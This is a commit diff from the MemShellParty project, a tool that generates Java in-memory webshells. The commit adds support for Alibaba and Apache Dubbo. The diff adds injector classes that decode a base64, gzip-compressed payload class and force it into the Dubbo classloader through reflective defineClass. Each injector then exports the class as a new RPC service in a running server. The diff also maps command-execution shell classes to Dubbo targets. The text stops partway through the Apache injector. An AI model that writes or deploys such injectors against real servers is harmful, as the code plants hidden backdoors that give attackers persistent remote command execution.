mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support Alibaba & Apache dubbo service
This commit is contained in:
@@ -39,6 +39,8 @@ dependencies {
|
||||
implementation(libs.spring.webflux)
|
||||
implementation(libs.tomcat.embed.core)
|
||||
implementation(libs.reactor.netty.core)
|
||||
implementation(libs.alibaba.dubbo)
|
||||
implementation(libs.apache.dubbo)
|
||||
implementation(libs.jackson.annotations)
|
||||
implementation(libs.bundles.jna)
|
||||
|
||||
|
||||
@@ -21,4 +21,5 @@ public class Server {
|
||||
public static final String SpringWebFlux = "SpringWebFlux";
|
||||
public static final String XXLJOB = "XXLJOB";
|
||||
public static final String Struct2 = "Struct2";
|
||||
public static final String Dubbo = "Dubbo";
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.Strings;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -60,20 +63,36 @@ public class MemShellGenerator {
|
||||
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
||||
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
||||
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
||||
String interfaceName = packageName + ".I" + simpleName;
|
||||
injectorConfig.setInjectorHelperClassName(interfaceName);
|
||||
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
||||
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
||||
String urlPattern = injectorConfig.getUrlPattern();
|
||||
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
||||
|| StringUtils.isBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(interfaceName);
|
||||
}
|
||||
}
|
||||
|
||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
||||
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
||||
injectorConfig.setInjectorHelperClassName(helperClassName);
|
||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
||||
}
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
injectorConfig.setShellClassBytes(shellBytes);
|
||||
|
||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||
byte[] injectorBytes = injectorGenerator.generate();
|
||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
||||
.probeMethod(ProbeMethod.ResponseBody)
|
||||
.probeContent(ProbeContent.Bytecode)
|
||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||
|
||||
@@ -47,6 +47,7 @@ public class ServerFactory {
|
||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||
register(Server.XXLJOB, XxlJob::new);
|
||||
register(Server.Struct2, Struct2::new);
|
||||
register(Server.Dubbo, Dubbo::new);
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
@@ -162,6 +163,8 @@ public class ServerFactory {
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
|
||||
@@ -50,4 +50,8 @@ public class ShellType {
|
||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||
|
||||
public static final String ACTION = "Action";
|
||||
|
||||
public static final String DUBBO_SERVICE = "DubboService";
|
||||
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
||||
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
||||
}
|
||||
|
||||
@@ -27,6 +27,12 @@ public class InjectorConfig {
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
|
||||
/**
|
||||
* 辅助类类名
|
||||
*/
|
||||
private String injectorHelperClassName;
|
||||
|
||||
|
||||
/**
|
||||
* 注入访问的地址
|
||||
*/
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.memshell.generator;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
public class DubboServiceInterfaceHelperGenerator {
|
||||
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
||||
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
||||
.redefine(ShellDubboService.class)
|
||||
.name(interfaceName)
|
||||
.make()) {
|
||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-3
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
public class WebSocketByPassHelperGenerator {
|
||||
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||
if (headerPair == null) {
|
||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.field(named("headerName")).value(headerPair.getKey())
|
||||
.field(named("headerValue")).value(headerPair.getValue())
|
||||
.name(CommonUtil.generateClassName());
|
||||
.name(helperClassName);
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
+451
@@ -0,0 +1,451 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import com.alibaba.dubbo.common.URL;
|
||||
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
|
||||
import com.alibaba.dubbo.common.utils.ClassHelper;
|
||||
import com.alibaba.dubbo.config.*;
|
||||
import com.alibaba.dubbo.config.model.ApplicationModel;
|
||||
import com.alibaba.dubbo.config.model.ProviderModel;
|
||||
import javassist.ClassPool;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class AlibabaDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public AlibabaDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + stackTrace(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
String servicePath = normalizePath(getUrlPattern());
|
||||
if (servicePath.isEmpty()) {
|
||||
throw new IllegalArgumentException("path must not be empty");
|
||||
}
|
||||
|
||||
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
Class<?> serviceInterface = loadClass(getHelperBase64String());
|
||||
Class<?> serviceImpl = loadClass(getBase64String());
|
||||
validateServiceTypes(serviceInterface, serviceImpl);
|
||||
|
||||
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
|
||||
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
|
||||
return resolveServiceAddresses(servicePath);
|
||||
}
|
||||
|
||||
try {
|
||||
serviceConfig.export();
|
||||
return resolveServiceAddresses(servicePath);
|
||||
} catch (RuntimeException e) {
|
||||
dynamicServices.remove(servicePath, serviceConfig);
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, classBytes);
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
// Defining the package is a convenience for older class loaders. The class can still load without it.
|
||||
}
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||
try {
|
||||
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||
classPool.makeClass(new ByteArrayInputStream(classBytes));
|
||||
} catch (Throwable ignored) {
|
||||
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] decodeBase64(String value) throws Exception {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
|
||||
}
|
||||
|
||||
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
|
||||
GZIPInputStream inputStream = null;
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try {
|
||||
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
|
||||
byte[] buffer = new byte[4096];
|
||||
int read;
|
||||
while ((read = inputStream.read(buffer)) > 0) {
|
||||
outputStream.write(buffer, 0, read);
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
} finally {
|
||||
if (inputStream != null) {
|
||||
inputStream.close();
|
||||
}
|
||||
outputStream.close();
|
||||
}
|
||||
}
|
||||
|
||||
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
|
||||
if (!serviceInterface.isInterface()) {
|
||||
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
|
||||
}
|
||||
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
|
||||
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
|
||||
}
|
||||
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
|
||||
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
|
||||
}
|
||||
}
|
||||
|
||||
private Object instantiate(Class<?> serviceImpl) {
|
||||
try {
|
||||
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
|
||||
}
|
||||
}
|
||||
|
||||
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
|
||||
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
|
||||
serviceConfig.setInterface(serviceInterface);
|
||||
serviceConfig.setRef(serviceImpl);
|
||||
serviceConfig.setPath(servicePath);
|
||||
|
||||
ProviderConfig providerConfig = findProviderConfig();
|
||||
if (providerConfig != null) {
|
||||
serviceConfig.setProvider(providerConfig);
|
||||
if (notEmpty(providerConfig.getVersion())) {
|
||||
serviceConfig.setVersion(providerConfig.getVersion());
|
||||
}
|
||||
}
|
||||
|
||||
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
|
||||
if (applicationConfig != null) {
|
||||
serviceConfig.setApplication(applicationConfig);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
|
||||
if (!protocolConfigs.isEmpty()) {
|
||||
serviceConfig.setProtocols(protocolConfigs);
|
||||
}
|
||||
|
||||
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
|
||||
if (!registryConfigs.isEmpty()) {
|
||||
serviceConfig.setRegistries(registryConfigs);
|
||||
}
|
||||
|
||||
return serviceConfig;
|
||||
}
|
||||
|
||||
private ServiceConfig<?> findRegisteredService(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
|
||||
return serviceConfig;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ProviderConfig findProviderConfig() {
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig != null && serviceConfig.getProvider() != null) {
|
||||
return serviceConfig.getProvider();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
|
||||
if (providerConfig != null && providerConfig.getApplication() != null) {
|
||||
return providerConfig.getApplication();
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
if (serviceConfig.getApplication() != null) {
|
||||
return serviceConfig.getApplication();
|
||||
}
|
||||
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
|
||||
return serviceConfig.getProvider().getApplication();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
|
||||
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
|
||||
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
addProtocols(protocols, serviceConfig.getProtocols());
|
||||
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
return uniqueProtocols(protocols);
|
||||
}
|
||||
|
||||
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
|
||||
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
for (ProviderModel providerModel : providerModels()) {
|
||||
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||
if (serviceConfig == null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
registries = registries(serviceConfig.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ProviderConfig serviceProvider = serviceConfig.getProvider();
|
||||
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
|
||||
ApplicationConfig serviceApplication = serviceConfig.getApplication();
|
||||
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
|
||||
if (!registries.isEmpty()) {
|
||||
return registries;
|
||||
}
|
||||
}
|
||||
|
||||
return new ArrayList<RegistryConfig>();
|
||||
}
|
||||
|
||||
private String resolveServiceAddresses(String servicePath) {
|
||||
String normalizedPath = normalizePath(servicePath);
|
||||
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
|
||||
if (serviceConfig == null) {
|
||||
serviceConfig = findRegisteredService(normalizedPath);
|
||||
}
|
||||
if (serviceConfig == null) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
List<URL> exportedUrls = serviceConfig.getExportedUrls();
|
||||
if (exportedUrls != null && !exportedUrls.isEmpty()) {
|
||||
return formatUrls(exportedUrls);
|
||||
}
|
||||
|
||||
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
|
||||
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
|
||||
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
|
||||
}
|
||||
if (protocols.isEmpty()) {
|
||||
return normalizedPath;
|
||||
}
|
||||
|
||||
return formatProtocolAddresses(protocols, normalizedPath);
|
||||
}
|
||||
|
||||
private String formatUrls(List<URL> urls) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (URL url : urls) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatUrl(url));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (builder.length() > 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
builder.append(formatProtocolAddress(protocol, path));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
private String formatUrl(URL url) {
|
||||
String path = normalizePath(url.getPath());
|
||||
int port = url.getPort();
|
||||
return port > 0
|
||||
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
|
||||
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
|
||||
Integer port = protocol.getPort();
|
||||
return port != null && port > 0
|
||||
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
|
||||
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
|
||||
}
|
||||
|
||||
private List<ProviderModel> providerModels() {
|
||||
try {
|
||||
return ApplicationModel.allProviderModels();
|
||||
} catch (Throwable ignored) {
|
||||
return new ArrayList<ProviderModel>();
|
||||
}
|
||||
}
|
||||
|
||||
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
|
||||
if (source != null) {
|
||||
target.addAll(source);
|
||||
}
|
||||
}
|
||||
|
||||
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
|
||||
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
|
||||
if (protocols != null) {
|
||||
for (ProtocolConfig protocol : protocols) {
|
||||
if (protocol != null) {
|
||||
unique.put(protocolKey(protocol), protocol);
|
||||
}
|
||||
}
|
||||
}
|
||||
return new ArrayList<ProtocolConfig>(unique.values());
|
||||
}
|
||||
|
||||
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
|
||||
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
|
||||
}
|
||||
|
||||
private String protocolKey(ProtocolConfig protocol) {
|
||||
return String.valueOf(protocol.getName())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getHost())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getPort())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getServer())
|
||||
+ "|"
|
||||
+ String.valueOf(protocol.getId());
|
||||
}
|
||||
|
||||
private String normalizePath(String path) {
|
||||
if (path == null) {
|
||||
return "";
|
||||
}
|
||||
|
||||
String normalized = path.trim();
|
||||
while (normalized.startsWith("/")) {
|
||||
normalized = normalized.substring(1);
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
private boolean notEmpty(String value) {
|
||||
return value != null && !value.isEmpty();
|
||||
}
|
||||
|
||||
private String stackTrace(Throwable throwable) {
|
||||
StringWriter writer = new StringWriter();
|
||||
throwable.printStackTrace(new PrintWriter(writer));
|
||||
return writer.toString();
|
||||
}
|
||||
}
|
||||
+616
@@ -0,0 +1,616 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import org.apache.dubbo.common.bytecode.ClassGenerator;
|
||||
import org.apache.dubbo.config.*;
|
||||
import org.apache.dubbo.rpc.model.ApplicationModel;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class ApacheDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public ApacheDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + getErrorMessage(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
private Class<?> loadClass(String payload) throws Exception {
|
||||
ClassLoader classLoader = resolveDubboClassLoader();
|
||||
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||
definePackageIfNeeded(classLoader, getClassName());
|
||||
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return loadedClass;
|
||||
}
|
||||
|
||||
private ClassLoader resolveDubboClassLoader() {
|
||||
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
|
||||
if (classLoader != null) {
|
||||
return classLoader;
|
||||
}
|
||||
classLoader = ClassGenerator.class.getClassLoader();
|
||||
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
|
||||
}
|
||||
|
||||
private ClassLoader invokeDubboClassLoader(String className) {
|
||||
try {
|
||||
Class<?> helperClass = Class.forName(className);
|
||||
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
|
||||
} catch (Throwable ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||
"defineClass",
|
||||
String.class,
|
||||
byte[].class,
|
||||
int.class,
|
||||
int.class,
|
||||
ProtectionDomain.class
|
||||
);
|
||||
defineClass.setAccessible(true);
|
||||
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||
}
|
||||
|
||||
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||
int packageEnd = className.lastIndexOf('.');
|
||||
if (packageEnd < 0) {
|
||||
return;
|
||||
}
|
||||
String packageName = className.substring(0, packageEnd);
|
||||
try {
|
||||
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||
getPackage.setAccessible(true);
|
||||
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||
return;
|
||||
}
|
||||
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||
"definePackage",
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
String.class,
|
||||
java.net.URL.class
|
||||
);
|
||||
definePackage.setAccessible(true);
|
||||
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
|
||||
try {
|
||||
